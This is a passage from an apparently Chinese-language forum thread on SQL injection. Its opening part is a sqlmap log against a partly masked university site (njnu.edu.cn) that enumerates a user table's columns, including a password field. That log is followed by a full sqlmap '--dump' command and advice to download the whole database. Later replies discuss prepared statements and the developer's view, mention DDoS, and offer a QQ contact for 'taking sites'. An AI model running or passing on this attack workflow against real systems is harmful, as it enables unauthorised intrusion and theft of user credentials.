web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
[13:00:51] [INFO] fetching columns for table "T_User" in database "ShangXueYuannew"
[13:00:51] [INFO] retrieved:
[13:00:52] [WARNING] reflective value(s) found and filtering out
7
[13:00:55] [INFO] retrieving the length of query output
[13:00:55] [INFO] retrieved: 9
[13:01:17] [INFO] retrieved: FileTheme
[13:01:17] [INFO] retrieving the length of query output
[13:01:17] [INFO] retrieved: 7
[13:02:06] [INFO] retrieved: varchar
[13:02:06] [INFO] retrieving the length of query output
[13:02:06] [INFO] retrieved: 3
[13:02:19] [INFO] retrieved: Pwd
[13:02:19] [INFO] retrieving the length of query output
[13:02:19] [INFO] retrieved: 7
[13:03:11] [INFO] retrieved: varchar
[13:03:11] [INFO] retrieving the length of query output
[13:03:11] [INFO] retrieved: 4
[13:03:27] [INFO] retrieved: Role
[13:03:27] [INFO] retrieving the length of query output
[13:03:27] [INFO] retrieved: 7
[13:03:44] [INFO] retrieved: varchar
[13:03:44] [INFO] retrieving the length of query output
[13:03:44] [INFO] retrieved: 8
[13:04:13] [INFO] retrieved: UserFile
[13:04:13] [INFO] retrieving the length of query output
[13:04:13] [INFO] retrieved: 7
[13:04:32] [INFO] retrieved: varchar
[13:04:32] [INFO] retrieving the length of query output
[13:04:32] [INFO] retrieved: 6
[13:06:21] [INFO] retrieved: UserId
[13:06:21] [INFO] retrieving the length of query output
[13:06:21] [INFO] retrieved: 7
[13:07:14] [INFO] retrieved: varcha_ 6/7 (86%)
[13:07:46] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[13:07:46] [WARNING] if the problem persists please try to lower the number of used threads (option "--threads")
[13:08:17] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[13:09:18] [INFO] retrieved: varchar
[13:09:18] [INFO] retrieving the length of query output
[13:09:18] [INFO] retrieved: 8
[13:09:52] [INFO] retrieved: UserName
[13:09:52] [INFO] retrieving the length of query output
[13:09:52] [INFO] retrieved: 7
[13:10:36] [INFO] retrieved: va_cha_ 5/7 (71%)
[13:11:06] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[13:11:07] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request
[13:12:07] [INFO] retrieved: varchar
[13:12:07] [INFO] retrieving the length of query output
[13:12:07] [INFO] retrieved: 6
[13:12:35] [INFO] retrieved: UserNo
[13:12:35] [INFO] retrieving the length of query output
[13:12:35] [INFO] retrieved: 3
[13:12:46] [INFO] retrieved: int
Database: ShangXueYuannew
Table: T_User
[7 columns]
+-----------+---------+
| Column | Type |
+-----------+---------+
| FileTheme | varchar |
| Pwd | varchar |
| Role | varchar |
| UserFile | varchar |
| UserId | varchar |
| UserName | varchar |
| UserNo | int |
+-----------+---------+

[13:12:46] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 727 times
[13:12:46] [INFO] fetched data logged to text files under "/usr/share/sqlmap/output/xxx.njnu.edu.cn"

[*] shutting down at 13:12:46

5.甚至你可以把想要的資料庫下載下來,在本地慢慢研究

root@kali:~# sqlmap -u http://xxx.njnu.edu.cn/fjlist.asp?id=87 -D ShangXueYuannew --dump --threads 5


「Web安全之SQL注入攻擊技巧與防範」


http://xxx.njnu.edu.cn,李雷,你也是夠了


基本上現在的網站都用prepare了,注入不太可能了。你大多情況下只能靠csrf或xss日庫了,當然出了資料庫的exploit另說。


emmmmmm 樓上的答主都是從攻擊者的角度說的 關於這個問題我認為有必要從開發者的角度說一說

首先 你需要考慮開發者會在哪些位置使用資料庫查詢 需要使用資料庫查詢的位置不一定在url中 在每次ajax中 session中 甚至一些自己實現的jwt的header中 都會有資料庫查詢的操作

其次 你需要考慮開發環境 現在各種框架基本都帶有SQL模塊 這些模塊大部分已經非常安全 這種情況下往往通過對應框架白盒挖效率才高 而且目前很多工具對SQL預編譯 所以不要一說SQL防禦就是轉義和過濾 從網站的細節分析出開發環境才能對症下藥

總之 我認為網站攻擊與網站開發在某些方面是不可分的 了解網站開發相關的知識才能了解攻擊的原理 了解攻擊的原理也可以幫助開發更安全的網站


關鍵是有沒有...不是拿起鍵盤就是干


SQL注入攻擊要求會比較高,像常規的DDOS和CC會比較簡單,原理就是發包機和集群。SQL掃端到爆破到注入花費時間很長,比較適合於拿站~可以加好友交流2418419740


pdo 中的perpaer 真的能有效防止SQL入注?


首先確認是否存在過濾,然後要判斷sql語句的屏蔽規則,然後才能變造能繞過屏蔽的注入語句,這一點無論使用get或post方式並無兩樣


有個開源項目叫sqlmap可以使用一下,會幫你只能檢測注入漏洞


推薦閱讀:

問Mac上有哪些好用的測試及檢測工具:?
雲盾定期對雲主機監聽埠做SQL注入攻擊,這是業界的通常做法嗎,有何風險?

TAG:網路安全 | 黑客Hacker | 網路攻擊 | SQL注入 |